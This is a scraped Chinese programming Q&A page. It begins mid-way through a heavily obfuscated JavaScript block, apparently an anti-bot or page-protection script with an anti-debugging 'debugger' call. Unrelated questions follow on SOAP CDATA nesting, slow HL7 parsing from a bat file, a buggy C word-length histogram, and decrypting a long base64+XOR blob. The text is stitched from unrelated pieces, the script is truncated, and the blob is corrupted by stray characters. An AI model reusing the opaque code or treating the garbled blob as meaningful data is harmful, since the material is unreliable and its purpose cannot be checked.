){_$ty=_$Dr[_$C5];_$a4=_$E0[_$C5];_$E0[_$C5]=_$E0[_$ty];_$E0[_$ty]=_$a4;}return _$E0.join('');}function _$w6(){var _$Dr=_$GM();var _$wG=_$GM();_$Dr=_$HA.call(_$FD(_$Dr),_$zZ);_$wG=_$HA.call(_$FD(_$wG),_$zZ);_$a3(_$Dr,_$wG);}function _$i9(){return"fS]le|k`feSTr i~klie ]le|k`feS`}Tr mzi o 4 }f|ld~ekY^~k<c~d~ek9p@}S`}T2 mzi m 4 oY|fek~ek2 oYgzi~ekEf}~Yi~dfm~:_`c}SoT2 i~klie m2ttSTT";}function _$Ez(_$C5){var _$ty=_$c4&&new _$c4();if(_$ty){var _$E4=_$ty[_$aN()];if( !_$E4){return;}var _$wG=_$E4[_$jo()]();var _$Dr=_$HA.call(_$wG,_$be());_$wG=_$Dr[_$zL()]();if(_$wG===_$m7()&&_$Dr.length>0)_$wG=_$Dr[_$zL()]();if(_$HQ.call(_$wG,_$rw())!== -1||_$GG(_$wG,_$e4())||_$wG===_$b0()){_$Dd(_$C5,1);return true;}}}_$HF=String;_$r8();_$ts(_$h6(),_$Aw());_$GR=_$HF.fromCharCode;_$hS=_$HW.ceil;_$zZ=_$GR(96);function _$GH(_$Dr){_$Dr[8]=_$GB();_$Dr[_$zB(_$hl(),16)]=_$zr();_$Dr[9]=_$FS();return _$DF();}function _$GG(_$Dr,_$wG){return _$jV.call(_$Dr,0,_$wG.length)===_$wG;}function _$Aw(){return "|naOId|arCIuanenrtrFe|pseaRcoteobeopyeccUnersrnotin|||jDhaut|eMpotcmrAtvEl|ean|";}function _$CE(_$Dr){var _$E4=_$FS();_$a4=_$DF();if(_$FC()){_$Dr[_$zB(_$Gv(),16)]=_$hl();}_$Gi(_$Dr);return _$hl();}function _$zr(){return 13}function _$yg(_$wG){var _$Dr=arguments;return _$wG[_$sC()](/\{(.+?)\}/g,function(_$ty,_$C5){return _$Dr[_$HS(_$C5)+1];});}function _$gy(_$wG){var _$Dr;return function(_$C5,_$ty){if(_$Dr===_$HY){_$Dr=_$FM(_$wG);}return _$Dr;};}function _$m6(_$C5,_$ty){var _$wG=_$zc();for (var _$Dr=0;_$Dr<_$ty.length;_$Dr++ ){_$H3[_$wG+_$C5[_$Dr]]=_$ax(_$ty[_$Dr]);}}function _$md(){var _$wG=_$BP(_$eM(_$i9()))("9DhefwqGPrzGxEp9hPaoag"),_$E4=0,_$C5={};_$C5._$fu=_$a4;function _$a4(){var _$E0=_$ty();var _$tm=_$GN.call(_$wG,_$E4,_$E0);_$E4+=_$E0;return _$tm;}function _$ty(){var _$e2=_$HZ.call(_$wG,_$E4);if(_$e2>=40){_$E4++ ;return _$e2-40;}var _$E0=39-_$e2;_$e2=0;for (var _$tm=0;_$tm<_$E0;_$tm++ ){_$e2*=87;_$e2+=_$HZ.call(_$wG,_$E4+1+_$tm)-40;}_$E4+=_$E0+1;return _$e2+87;}function _$Dr(){return _$GN.call(_$wG,_$E4);}_$C5._$no=_$Dr;return _$C5;}var _$xk,_$GK,_$Ds;var _$kB=1;function _$of(_$Dr){_$Dr[0]=_$za(_$Dr);_$Dr[_$zB(_$Dr[_$zB(_$hl()+_$zr(),16)],16)]=_$E9(_$Dr);if(_$Dr[_$zB(_$Gt()+_$Gv(),16)]){_$CE(_$Dr);}_$Dr[1]=_$Dr[_$zB(_$hl()+_$zr(),16)];return _$CT(_$Dr);}function _$xS(_$E4,_$a4,_$E0,_$e2,_$ty,_$wG){_$E4=_$iF(_$at(_$FD(_$E4)),2);var _$Dr=_$sf(_$FD(_$a4));_$a4=_$HA.call(_$Dr,_$zZ);_$E0=_$FD(_$E0);if(_$E0.length>0){_$E0=_$HA.call(_$E0,_$zZ);_$a4=_$a4[_$ou()](_$E0);}var _$tm=_$zc();for (var _$C5=0;_$C5<_$E4.length;_$C5++ ){_$H3[_$tm+_$E4[_$C5]]=_$a4[_$C5];}_$e2=_$iF(_$FD(_$e2),2);_$Dr=_$FD(_$ty);_$ty=_$HA.call(_$Dr,_$zZ);_$Dr=_$FD(_$wG);_$wG=_$HA.call(_$Dr,_$zZ);_$ty=_$ty[_$ou()](_$wG);_$m6(_$e2,_$ty);}function _$Fh(_$Dr){_$Dr[14]=_$aR();_$Dr[_$zB(_$Fc(),16)]=_$Gt();var _$ty=_$Gu();_$ty=_$y1();return _$Et();}function _$qG(_$wG,_$ty){var _$Dr=_$ex()[5];var _$C5=_$Dr[_$HZ.call(_$wG,_$ty)];if(_$C5<82)return 1;return 86-_$C5+1;}_$xv=_$eM("yrktmzn");;;var _$z0;;_$qy=_$md();function _$FE(){return 4}function _$ax(_$wG){var _$Dr;return function(){if(_$Dr===_$HY){_$Dr=_$Dm(_$wG);_$Dr=_$FD(_$Dr);}return _$Dr;};}function _$sf(_$C5){_$C5=_$HA.call(_$C5,_$hD());for (var _$Dr=0;_$Dr<_$C5.length-1;_$Dr+=2){var _$wG=_$C5[_$Dr];_$C5[_$Dr]=_$C5[_$Dr+1];_$C5[_$Dr+1]=_$wG;}return _$C5.join(_$hD());}function _$aR(){return 14}function _$zh(){debugger;}function _$CT(_$Dr){var _$a4=_$Fc();_$a4=_$Gt();var _$E4=_$Gu();_$ty=_$FK()+_$FS();_$a4=_$Gt()+_$Gv();_$GQ(_$Dr);_$Dr[_$zB(_$Dr[_$zB(_$FE(),16)],16)]=_$wV(_$Dr);return _$DF();}function _$Gj(_$Dr){var _$ty=_$Gt();_$E4=_$Gv();var _$a4=_$y1();_$a4=_$Et();_$Dr[_$zB(_$DF(),16)]=_$Fc();return _$Gt();}function _$zq(_$ty,_$Dr){_$ty=_$ty[_$lA()](_$kL());_$ty.push(_$Dr);var _$E4=_$ty.length,_$C5=new _$DW(_$E4);for (var _$wG=0;_$wG<_$E4;_$wG++ ){_$C5[_$wG]=_$rU()[_$ir()](_$wG,_$qf());}return new _$wj(_$rs(),_$qe()+_$C5.join(_$kL())+_$lY())(_$ty);}_$w6();_$m2();_$lX();;</script></head> <body> <script type='text/javascript' r='m'> _$ow('eoGD'); </script> </body> </html> <script type="text/javascript" r='m'>_$CU();</script>
webservice接口解析数据时,如果不让自己请求头的CDATA封装和对方数据中的CDATA封装弄混?
webservice的接口。我用soupui输入wsdl地址,自动生成的头中有CDATA。对方提供的入参中也有用来转义的CDATA封装。导致我的头和他的尾对应上了,然后解析失败。 下面是我在soupui中生成的头尾: ```<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dhad="http://dhadapter.nis.xinglintech.com"> <soapenv:Header/> <soapenv:Body> <dhad:sendinpatinfo> <dhad:xml> <![CDATA[ ]]> </dhad:xml> </dhad:sendinpatinfo> </soapenv:Body> </soapenv:Envelope> ``` 下面是对方传输的数据(剩去了部分敏感信息): <?xml version="1.0" ?> <!-- type: hsb.DhcEns.Message.Request id: 35954888 --> <Request xmlns:s="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <MessageCode>MES0088</MessageCode> <InputString></InputString> <InputStream> <![CDATA[<Request><Header><SourceSystem>SYS0008</SourceSystem><MessageID>113738</MessageID></Header><Body><PatientId>318412</PatientId>........................... <Routine><TESTNO>2144648100</TESTNO><REQUESTEDDATETIME>2019-08-02 10:09</REQUESTEDDATETIME><RESULTSRPTDATETIME>2019-08-02 10:09:18</RESULTSRPTDATETIME><SPECIMEN>全血</SPECIMEN><SUBJECT>全血细胞分析+全程CRP</SUBJECT><REPORTITEMNAME>C反应蛋白</REPORTITEMNAME><RESULT><![CDATA[<10.00]]]]><![CDATA[></RESULT><ABNORMALINDICATOR>正常</ABNORMALINDICATOR></Routine> </Body></Request>]]> </InputStream> <TargetSeriveCode>REG0031</TargetSeriveCode> <TargetMethodCode>sendinpatinfo</TargetMethodCode> <TargetParaCode>xml</TargetParaCode> <TargetFunCode>MES0088</TargetFunCode> <EnsRowID>23930436</EnsRowID> <MessageTemplateInfo></MessageTemplateInfo> <RowID></RowID> <TargetSrcCode></TargetSrcCode> <TargetSqlCode></TargetSqlCode> <LinkUrl>/csp/hsb/EnsPortal.VisualTrace.zen?SESSIONID=28550999</LinkUrl> <HL7MessageCode></HL7MessageCode> <SyncType></SyncType> <IntFlag></IntFlag> </Request> 这样我把对方推送的数据放到我的头尾中间进行测试,soupui会把我头结束的<![CDATA[ 和他数据中间</Request>后面的 ]]> 对应上,导致对方推送的数据后面有一部分根本就没被我们识别到,然后解析失败,求大佬帮我分析一下我该怎么办?
为什么bat里面执行java代码会比在eclipse执行里面慢许多
我在做一个项目需要解析HL7的消息,用了hapi-osgi-base-1.2.jar这个jar包来解析HL7消息,我是在写好的方法放在bat里面调用运行的,并且用了下面的代码进行测试执行的效率,我发现在前面几次循环大概需要100ms解析完成,但是当for循环达到30次的时候,解析就需要1min左右了。 之后我在eclipse里面直接执行相同的代码,发现每次解析都只需要20ms左右,这就有点尴尬了。之前也用bat执行做过很多代码,都很正常,唯一感觉有点区别的,就是这个解析的jar里面有很多的log日志,执行的时候我也感觉是日志刷新导致的程序运行缓慢,但是没法求证,还请大神帮忙分析一下 for(int i=0;i<100;i++){ Message hapiMsg = null; Parser p = new GenericParser(); try { TUtil.out("aaaaggdd.txt", Thread.currentThread().getName()+"开始解析消息:"+(new Date().getTime())); time = new Date().getTime(); hapiMsg = p.parse(str); TUtil.out("aaaaggdd.txt", Thread.currentThread().getName()+"解析消息:"+str); TUtil.out("aaaaggdd.txt", Thread.currentThread().getName()+"解析消息完成:"+(new Date().getTime())+" 时长"+(new Date().getTime()-time)+"ms"); } catch (Exception e) { e.printStackTrace(); } // new ManageHL7().manageHL7(str); }
C语言求单词长度直方图
请前辈们帮我看看是哪里出错了呀,我的代码得不到我想要的东西。 ``` #include <stdio.h> #define OUT 0 #define IN 1 #define ML 11 /*max world length*/ #define HL 20 /*avoid overfloor*/ int main() { int nc = 0; int c; int overfloor = 0; int state = OUT; int a[ML]; while ((c = getchar()) != EOF) { if (c == ' ' || c == '\t' || c == '\n') { state = OUT; if (nc < ML) ++a[nc]; else ++overfloor; nc = 0; } else if (state == OUT) { state = IN; nc = 1; } else if (state == IN) ++nc; int i; for (i = 1; i <= ML; i++) { int len = a[i]; if (len <= HL) while (len > 0) { putchar('*'); len--; } else { printf("溢出的单词个数为%d\n", overfloor); } printf("\n"); } } } ```
base64 +异或加密问题,,如何解密??在线等
eNqlm92P7Fpa3v+VuYi054gJ8ke755TQkdK1q2y3q7y6yx9r2Q5c2Gt5tqu8XOWucrddFleJSGAQEMQEJkS5CAQlICAkFyggBASI+BoCE8j8PXne2owyHJgkKBdb5/TpbXt5rfd9nt+zls8HfapK/YV/8Es//Yf/+od+9Gd/4hd/5fu+49//8bvf+u1f/dZXf/mf/OIP//m7H/jsL7/+l7/wo7/xhz//Zz/5xXf+e/Ph3ZfevTy+fs+5KN+/++RvXvfLP/bD//k3f+LX/uKnfvZz173nD19+TB7Om+TnT6M4fHjxfvfa7p+a8TPc7bQQq9N2yz5/tz/++p/83n/7uW/8/n/8w8/d7cHYPYTdpz+uVnMe+eNndJPLfZ0a/XF5ph8/d6Nv/fY3v/Hnf/JX3/zaz33uRl600w8fdidcfyi9l76wn759/f/+a59911f84vuH9Xt35S6XK3f13v3k+/7RF77rc7/4HXf80j+0rU8+++y7TvkX/w93+X+6v3F7wve+k6VdS8eyzE/vv/LlO3VnWQ7+parUVwxHyfuvvPvS4pNPfvAH1b7+4uem7H986xe++UP/4t98/at/8rkpeyu/Z/1fjbeXh+ZrYWlaHyf/+GUxvize11MQh+aHv70AP/W7//13/ur3v/aT//yP3v3AF/7mO/zpb/7YX/3GT/zMf/n6j737gS/9jd/8s//0a//yq7/0H/7dn/0FLvrCF7733Rfffe93HePf/u2PfOuf/uz//Oo3/vRPv4bL8evvfxceXCHXCz89FG1kFjbvpm05B35hq/3OmmL812Odmiup9Zs09CyO+i4XkSuSKI/WvRkmuld+sVG8n+OOB9KOXvgqYOwQ3Me2fqpSM9zNwVPepteQF2NiqJh1kc+PSlTr4Ry27C7UjRcly+d01hueRqEQiznOWFlnTVOsecHcZh0f0+lJtOdq9eEtObqvKtWGtPRY+ssXun/q6kuc6azW7Tk86oZp5ci1egtbZx8ljxM/Lp8j89Eq1koos7jE1uUauf1roncj002aJA2PvL6obBZIs3dqz20j3hpiHW1UsnbKeLhnh/ws7WUYe6xUiTrlwjXUKnrZ2coo9e4aZ/2mytxr6p3MaNYvQvQrRfNhN0/KLRruNedCOHHlMU9oNiZds0kMTND6MqbxIuGenMN2CHfG5Oc2yyod+IlR2LUIjEJrK56DqDSKITwGZWr3ljyoj/dfBZvEikZmDJvS6KdCtHZkRYby+qxeO3Otl9nuwPIoDfKkGzY5xvv3GY9YsYPwduNTFomcR6fS4q9pNx0i3Sdy7Zxqt52VH3Q8a0a+boxwFWwTV90lR3afuup9aDbuTjdPGNsB4/07xrNkG0vj70cviZhOhcvO1XVIq3Z9p/Dfq3by5GoZl11zSIRhi1UQVjyapLsswpXuY7u5JnbxIm3elIZD873J+Wli+8ssD8VK2sW0mQNbGtNeYI0Eb7hcD7ty5na6dpooy52N5dIzw9KPurw170Oh2jBrlvzYlzuzecrT6MgynlVZ1OH+QYy/z3zdlOvxrejMMTaXPfOCPDz27Inrx8JjUdSF11RM93wO2koEF+nj9xlLdvPjNUGtRgd3m1onM7HYum5ZGFls5pYTR8bCU7beK68oVFIMScbwftFLJHghPXfAfF1R//Q+t/fndmuyY/+St3Ksk6gvPGeSup2kGe1FZxoF50O4YiJsW0sIthWdgz40B/p94enLk4t1XLms1usxT5ow10VWzlEZ+w+j0M17bvKJuxr10DwXa2ZE/GHE75+ehO7R/1R/T6kXFHXbF8LlNBdnlqld0gVuxftVgvlhHbs8ieLveF6LGuyftlbwHe//zW9PgOtW/vJVrP4+DRx1xWr5FJqPVwjIa7IuxtANXkqPsSpRcWhFVpqwFgNm9cE9Fiv3bseLe9EyFGPwvj7oBoJxFccgr9a9kRzctkwXQ7xmPUNhV1jAwutLKfgl4W杧V2MtGHNaO8swmTHiS66gVrn6RXnNk7nLPtTozt39EAZdiHaCE3FSk06PoGOfu2kxWy0uamkYp2ukp+9sNgwU20IR57U3bSvP7pI1ieXCNPP1ugqqOygpWlRt0kaecJGVXCKpRJI0lj2goEZgsK/bhQZn5McXP0f5jA3xHgVrmWyX4mRbs7xy/iPpq1UCEHqYk66PQg0DS+PFHrVursj7cyXQwRRdsy+P6nFjOjDEaucW3Ne+z/BgwyQsHzwtLO9in3tAUGRkGTyTGzr1pLnlgsDR6rLv1NYTB1Km+xq1K0bQTFyejEOZ93C48aYdvMJqybp0x16yV6eQn9tou9dJBw0bVSq1yMVwhh+fYdndlUuyT7mKmVvQSH7mu0GCpr/e7mRmsM4fSZlPtOU3FXQiLTupV04SieaPxCFR3nU5Z6PVTmTZOZa/NymdTYj/iWn4vUad1ovrUmuYqYVe2YkHdTlr4OsD1IzsWTCaYA59tElM5cSvn0jC75Ig5mJsBz9cqC16TzC1hxpNcsZ0SbpNnqVm2ip4flFawDW2+V5k+50mQw5D81GstlbAXZnw6wRDTOIv2qbGYYlFsyywYuK3f8OwXuVLPVRfkkR1aJV8OzGrNaj3lyXE55ql5xvy+yqRxZIf5srHuIqDn6TT7cBceIyPBPCmxtqpjsZcZQ/0Ez6W93LLs0WSH6E52romf+1g4ZS7YS+I26Lmor71hHxnTnAtzXx6XJky2kNnSjOMBtVxYWP99agcvsWbP5QF1bQ2zAgSwdIjCtD3D8IuaB0N8KLSc+Sqf3aBK+9f4uJ5LETh5Z1gbm13jpEjLFgbojVaeDq/SbTaltTArqxllgvU+PN5J3jeJ1Y87czlLW5vKC+3UM0MIn8NSOaq2d2L7/2P+WtNMj1FYC9ZLLcfyiDryAU8Jv0jbfZaHnVVk/QjwwvPUGwBpwvuVuP6Utwu/ztZWenyw6ngYEm99VyfcD31eUP3kGfppVWQMJribl/cAgB1MYEgzfQUomKId9nIFuUY9lQl/YYeC凷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?xfn1KYCZKDCZq5gGYs0NSVtk5Avh6aeap9N6za4XqL7py2uTQWj99DTF+rjprpFp0vbD9cbuRvBwVIw8QEvZUHTKAY9uGBvQquxtJaw8w+QPDQqscAZlv0Ia5Hc9+B2uDybAKJNhD/K4oXjb4GTQQBTAw00D9CDE0kTdAUkp+pbEzgVkDMSIxzmEGJlq0sw66SoI9RbFUL4yE6yWjbAn9smJHNPppJZzgwE01igCaFGesDkgWSAcgX0Rlib0Ash9v4Wz2xVBUgC5NnLqKxngRt3c+NA8OYVBbgua6u1v0zUsmEBDPHyFeYzwzR26YtetDunUQyrrrRRGodkQxBV8swskH+HW1NwujWUyY8B83bzJKra7WKMoXmqjiMWujdbevR7mdFzYACqdCswhuIxgyBd8Q4ICbLmR04aFvzMtWD9JEeUyQOm9PWtRN1o5Fn/ITxw2SIVqMJ73ViR35f6/4ZRIz3ASwgeZazMmEGEJceZsWeIVYZz5qJaA4CQOZ6g41vJ18J86hQLzCTkySTdMnMHqw8bV7lenGh5zMxkniA1iFOSP6R7TahsRhF5zr1IXqBWV1vW?dJAJiCTXpTA2OYQKsj1svnoMsd0T7tBBhTr/D7unX6WLg3mEAtAkb4SMkP9buSHtavcyBSMJOkuCbiZJRiAbFVmM/wWnlDiabC+vEWyVmnAsmtHWAGEN/jcosn7mXqQEDUoRRrOzn2MCTAStY/0dZNSusD8a1MNZXe4zVFfYQG+mX1OEsTxmmDpucG1y9Sqj80IMz4tvWkaYsIggqzxPy9H+aPZ/+0tQ0IwTgAEyDvibEWqXLOzdKYtqBxGz1hMMvZwYyvEMeJm0hugh+qtbaQbEksQXXFXHsLrK+7DQ8cpphOWL8ecAKYc00SX8wV6qcpmS5M0SHZtgPE/mbmo2wZkvyygYAwldL4h1ytJ5/7RQE4hhVSku8TAXOrE0b1d1CtuUcaQRrURPNeOVNiSa3wWEyUlGFe25SOCnA9MwE7SC+pX2xpSw1wcYf6f8T1AHHAyAHrh1BViwFp04SZtwBjEtDLHcx3ijvoBWAs7CCAh+JEW7dyjkxBaaxVgOF2VlybVba2wsPyFQIO8y2yJ7+hrd2pui6ebmmG6jRz7+QcvGG8PdIQBFjfi6N+RRr08Uyaf6r/LZIz9C/6vT0U+IyoHFJ0TsUHCzRygiAdqACffNo7i/qc9uoPUYYGKRNTIQ4tctVOPgQAwhWYUqtH2SGWHYtS0dkBikatdmfhIQ61i0lma1uBZitxMWsMFCq/Q7RuQEMFBI1ozkacugqK7i3SglY2ortJWzVSuncU9eBwdE51gjjOiEZZCLJEExG5X8ktBIqR3A9k/lQaEIsjH1OjoG2KEAmBtsf2iK8mnB3kvqRzP4wrMCQifA1ziNFsKnHpHCaFWKxon58mC83uwAzo/LIhMUnWStBYZdZaTAcTHHBfIljSOWFsTSBizqXbNyDXJjxGr4j4d/ShgAS51SLCc1IDJILFH8bQvCWnCckHDW5ey9uHCS5tHWzlcQdrGUYIHL2/w0DyIYTtI7nhfmgGiD0SgnkHgkB0ZCEVM0h/JjKGQEOsHDoH2Sl6f5uVeH/aishR8H3qnWitR5CvpmZndnhHJAYxfkMxWpXfH3LMB4ot/XgORvvAaBZhgD6MqxAaYuc4SIQozrPP3SVi9mJEyrQqOpOBkWEuZtqLhjBtyZgRc0GtIAMUpsS6o7FSolLp9/sKawnhuYAsnNBCY2S3bQJKaROjLVPOT8zWBlElNWbJG6oFkODjVdqpHbsQVsGdEmRCtVUId2SGxPMDvENf1klEZ1p3qIWMaiW6DlhLzKXZr2BsxsaAMAm+r0FWlR3Rvv0Z5r+jxs5JyBJQJm0z3LYpKOZHtI3AMW6zgrGELaVUvVMrtYWwH2pQpdBL2iaBgQYAE47+0JSykFKR8tbqJbb1hMYeFMAFjY2Uao4pyE/RHnmiBobnlemFzvCRMvR93jbbqgUlH4ubkaI2LvRRSkW9kGkHxhdDcIcigzG0EHp9e98BQoMZCqh27爉hrKT9GENLIRG1eaIsvzsiUA5i5+4b3aZTNA9XCaJGBFYQ0tUYbYHNJPAO165o03m9vm2Ets5i2oGnbw1Cx1O3NKCF0r3nX+zAagFJr0RkVeuURQqWRGkaw65ST8BFl28sxNqNzPD/adEYj8f45fS8SD5fSX8MYmmtqRWemG4bUido5fTzj1qxVicopNePvvEiMF7XdAMDCyFTUOzmNv7KDA6U+SWeeXniuABKo3TvazZCp2SR0RidgRFnxRL9X3lBsTGUkSXEpV/zWextb496gfiu85lYPISxo22mmIwKkzjG2G9QLtGdWTn7bMu5HkO4OeuczgCTWBULMbcx/T2csmH/aYgYoLpOYwKY8mbiXDWijLToTcwlTGqbUp/NpWkN3rNz+lzRUHY2+nJgZPdVZ0NOBFlyTItEjIk8PwaZ9ThPCtSOqZZh8xSNgs3kg6qhoj4w31m4OIHP8GT9vIiuwEjfaYfKA2Xj5mVHkjvDyU9qZQSWis3TpwAVi77eIWMrKf/UKTD5g9rMAmKdf8kwL5TFSbeBbQyqPG+RWZLUmKt1MvIBcBlmopxPSGdU30gn5E6k8VCKe1RNlWsKUyJom2rT7a+XaF7TBa6p7YBIylSbMoNnVdIIZH8m+G9pjgfKRcp3seO28IhP69GUDz6LmtkH8fnirdJ+FZQFchkWiM0I6zeTu8LQK0tJz75PuA0WAKXEZ3M2d6GuYUAcXvAvUYeFE